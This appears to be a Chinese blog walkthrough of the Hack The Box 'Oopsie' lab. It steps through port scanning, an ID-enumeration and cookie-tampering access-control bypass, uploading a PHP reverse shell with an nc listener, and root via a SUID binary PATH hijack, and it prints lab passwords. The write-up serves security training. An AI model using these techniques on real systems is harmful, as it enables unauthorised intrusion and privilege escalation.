掃描收集信息

今天來練習hack the box中的oopsie靶場,如何連接這裏不做過多贅述。


首先掃描一下端口與服務信息

nmap -sV -F 10.10.10.28

-sV 代表掃描端口和開放的服務信息

-F 快速掃描,掃描常用的端口

pikchu靶場 docker部署_linux

好我們看到了開放了80端口,應該是一台WEB服務器,我們通過瀏覽器訪問一下這個IP試一下。

pikchu靶場 docker部署_linux_02

果然出現了網頁,接下來我們就從這個WEB中尋找突破口。

尋找後台

按F12查看一下網頁的源代碼,看有沒有路徑泄露。如果是在公網上的網站可以通過google語法很快的找到後台。


pikchu靶場 docker部署_php_03

這裏有個login,估計是個登陸的目錄,嘗試訪問一下這個目錄裏的頁面。很幸運,打開的確實是後台的登陸頁面。如果在前端代碼中沒有找到目錄可以用目錄掃描工具進行掃描來獲取後台地址。

pikchu靶場 docker部署_linux_04

登陸後台

遇到這樣的沒有驗證碼的後台,想到的第一中方法是暴力破解。先不要急着用字典去猜解密碼,可以嘗試用一下上一個靶機中獲取到的密碼M3g4c0rp123MEGACORP_4dm1n!!賬號可以嘗試用一下 adminadministratorroot等這些高頻使用賬號。經過測試最終得到賬號和密碼分別為 adminMEGACORP_4dm1n!!。登陸後會看到一個上傳文件的頁面,但是提示説上傳文件需要超級管理員權限。

pikchu靶場 docker部署_linux_05

越權

在這種情況下有可能會有越權漏洞,也有可能會有SQL注入漏洞,先用burp suite抓取個包分析一下。在點擊導航欄上的Account後抓取到了一個關鍵的數據包。

pikchu靶場 docker部署_php_06

嘗試將id隨便修改成一個數據併發送數據包,發現原來有的賬號信息不見了,這説明修改id是有效的。我們接下來嘗試遍歷一下1到100的id,看看會不會遍歷到超級管理員的id。

pikchu靶場 docker部署_php_07

pikchu靶場 docker部署_上傳_08

for i in `seq 1 100`; do echo $i >>id.txt;done

這段shell的意思是創建一個id.txt文件,並把1到100分別寫入這個文件。然後再burp suite的抓取數據包的頁面右擊,然後選擇send to Intruder。

pikchu靶場 docker部署_pikchu靶場 docker部署_09

來到intruder頁面,配置好需要攻擊的IP地址和端口號。

pikchu靶場 docker部署_php_10

然後來到positions選項卡,清除所有標記,然後單獨給id的值添加上標記,並選擇sniper的攻擊模式。

pikchu靶場 docker部署_上傳_11

然後來到payloads選項卡,payload set選擇1,這代表選擇第一個被標記的值。payload type選擇simple list,這翻譯成中文就是簡單列表,這會讓burp suite載入該選項下面列表裏面的值。現在列表是空的,我們需要點擊load item from file按鈕來載入我們剛剛生成的文件id.txt。載入後如下圖所示。

pikchu靶場 docker部署_pikchu靶場 docker部署_12

然後來到options選項卡,將Number of threads(線程數)設置為1。然後點擊攻擊按鈕start attack。

pikchu靶場 docker部署_linux_13

在全部訪問完成後點擊length,按照返回數據包長度進行排序。發現有幾個數據包的長度明顯與其他數據包不同。

pikchu靶場 docker部署_pikchu靶場 docker部署_14

查看一下這些數據包的返回結果,最後在id為30的數據包中發現了supper admin,説明這個id是超級管理員的id。記住他的賬號 supper admin與access ID 86575

pikchu靶場 docker部署_pikchu靶場 docker部署_15

然後修改該網站的cookie,通過cookie管理插件將cookie中role修改為supper admin,將user修改為88575。

pikchu靶場 docker部署_linux_16

然後打開上傳頁面看看,發現現在可以上傳文件了,越權成功。

pikchu靶場 docker部署_php_17

反彈shell

cp /usr/share/webshells/php/php-reverse-shell.php ~/Documents/oopise

將kali自帶的shell文件複製到工作目錄,並修改該文件裏的IP地址為本機虛擬網卡的IP地址,並且記住端口號。

pikchu靶場 docker部署_linux_18

nc -lvnnp 1234

-l 代表監聽模式

-v 代表輸出詳細報告

-n 代表不執行DNS查詢,如果使用的是域名就不能加入該參數

-p 指定端口號

監聽1234端口,然後上傳剛才的shell文件。如下圖所示已經上傳成功,但是沒有提示上傳的地址在哪裏。我們可以嘗試着訪問常見的上傳文件目錄uploads、upload等等。

pikchu靶場 docker部署_上傳_19

在訪問 http://10.10.10.28/uploads/php-reverse-shell.php後發現監聽窗口提示反彈shell成功了。如果網站沒有這幾個目錄則可以用目錄掃描軟件掃描該網站的目錄結構。

pikchu靶場 docker部署_pikchu靶場 docker部署_20

但是這個獲取到的shell是一個非交互式的shell,所以我們需要升級一下該shell,當命令行向本地運行的一樣出現了賬號和目錄則説明運行升級成功。執行一下命令:

SHELL=/bin/bash script -q /dev/null

SHELL是環境變量,它的值代表系統執行shell的文件位置。

script命令的原本作用是錄製終端的會話過程,執行該命令後會運行一個新的shell,在此shell中執行命令的過程將會記錄下來並保存在一個文件裏面。這裏執行script並不需要錄製命令過程,我們需要的僅僅是它會運行一個新的shell。

-q 代表以靜默方式運行一個新的shell,也就是説在後台運行一個新的shell。如果不加這個參數,則會彈出一個新的shell命令框。

/dev/null在這條命令中扮演的角色是保存script記錄的文件,但是/dev/null一個特殊的設備文件,一切寫入改文件的數據都會消失。我們不需要記錄我們所執行的命令,所以將script所記錄的內容指向該設備文件。

更詳細內容可以參考:

https://www.xuexila.com/diannao/xitong/linux/3631993.html,linux的script命令

,linux下的兩個特殊文件——/dev/null 和 /dev/zero 簡介及對比

pikchu靶場 docker部署_pikchu靶場 docker部署_21

cat /home/robert/user.txt

現在可以讀取桌面下的user.txt文件取flag了。

pikchu靶場 docker部署_pikchu靶場 docker部署_22

權限提升

id

首先通過 id命令來查看一下自己的用户組。

pikchu靶場 docker部署_linux_23

現在我們到網站的目錄下查找一下,看有沒有數據庫的配置文件,並在配置文件中發現了一個賬號和密碼。

pikchu靶場 docker部署_pikchu靶場 docker部署_24

嘗試一下切換到該賬户,發現成功切換到了該用户。並再次通過id命令查看該用户的用户組。通過sudo -l查看有沒有可以執行sudo的用户。

su robert		//切換到robert用户
id				//查看自己的用户組
sudo -l			//查看有哪些用户可以執行sudo

pikchu靶場 docker部署_pikchu靶場 docker部署_25

查看一下這兩個組的命令執行權限,在用户組robert中沒發現特殊的文件。在bugtrackert用户組中發現了一個比較特殊的文件。

find / -type f -group robert 2>/dev/null
find / -type f -group bugtrackert 2>/dev/null

/ 是根目錄,代表find將會在根目錄中開始查找文件

-type 代表需要查找的類型,f代表文件類型

-group 代表需要查找文件的所屬組

2 代表執行該命令中產生的錯誤信息

/dev/null在之前已介紹

更詳細信息可以參考:

linux find命令詳解

https://www.zhihu.com/question/53295083,shell程序中 2>/dev/null代表什麼意思

pikchu靶場 docker部署_php_26

pikchu靶場 docker部署_php_27

首先來到 /usr/bin/目錄,通過命令 ls -la查看一下該文件的權限。

ls -la bugtrackert

pikchu靶場 docker部署_linux_28

我們發現該文件有s權限並且該文件所有者是root,s權限代表其他用户在執行該文件時會以該文件的所有者的身份執行。在這裏也就是以root的權限執行該文件。

關於s權限更詳細的信息可以查看:

linux權限s權限和t權限

strings bugtracker

strings和cat的功能類似,但是strings可以查看二進制文件,如果用cat查看二進制文件會出現亂碼。

然後我們通過strings查看該二進制文件,發現該文件中會執行cat命令。如果我們將cat命令換成其他惡意命令的話,系統會以root的權限執行我們的惡意命令。但是這是個二進制文件,我們該如何修改呢?

pikchu靶場 docker部署_上傳_29

我們可以看到該cat命令不是以絕對路徑寫入的。系統在執行該cat命令時,首先會在環境變量PATH指向的目錄中去尋找cat,當第一次找到cat後馬上停止尋,並執行該cat。我們可以在環境變量PATH的最前面添加一個目錄,並在該目錄中添加一個惡意cat文件。這樣系統第一個找到的cat將會是自己偽造的cat,並且會以root的權限執行該惡意cat。

export PATH=/tmp:$path		//在環境變量的第一個位置添加/tmp目錄
echo "/bin/bash">/tmp/cat	//將/bin/bash寫入cat,執行/bin/bash後會打開一個新的shell命令行
chmod +x /tmp/cat			//賦予cat執行的權限

pikchu靶場 docker部署_php_30

然後執行bugtracker文件,根據文件提示隨便輸入一個ID,這裏就以輸入1為例。系統成功的以root權限執行了 /bin/bash了,在這個新的命令行中具有了root權限。 可以通過whoami 查看一下自己的權限,甚至可以通過 passwd來修改root的密碼。

pikchu靶場 docker部署_pikchu靶場 docker部署_31

more /root/root.txt

現在可以通過more查看 /root/root.txt來獲取flag了,注意現在不用能cat命令來讀取文件了,cat只會讓你打開一個新的shell而已。

pikchu靶場 docker部署_pikchu靶場 docker部署_32

後記

/root/.config/filezilla目錄下有一個FileZilla配置文件filezilla.xml,裏面包含FTP的賬號和密碼ftpuser/mc@F1l3ZilL4,可以用於下一個靶機的滲透。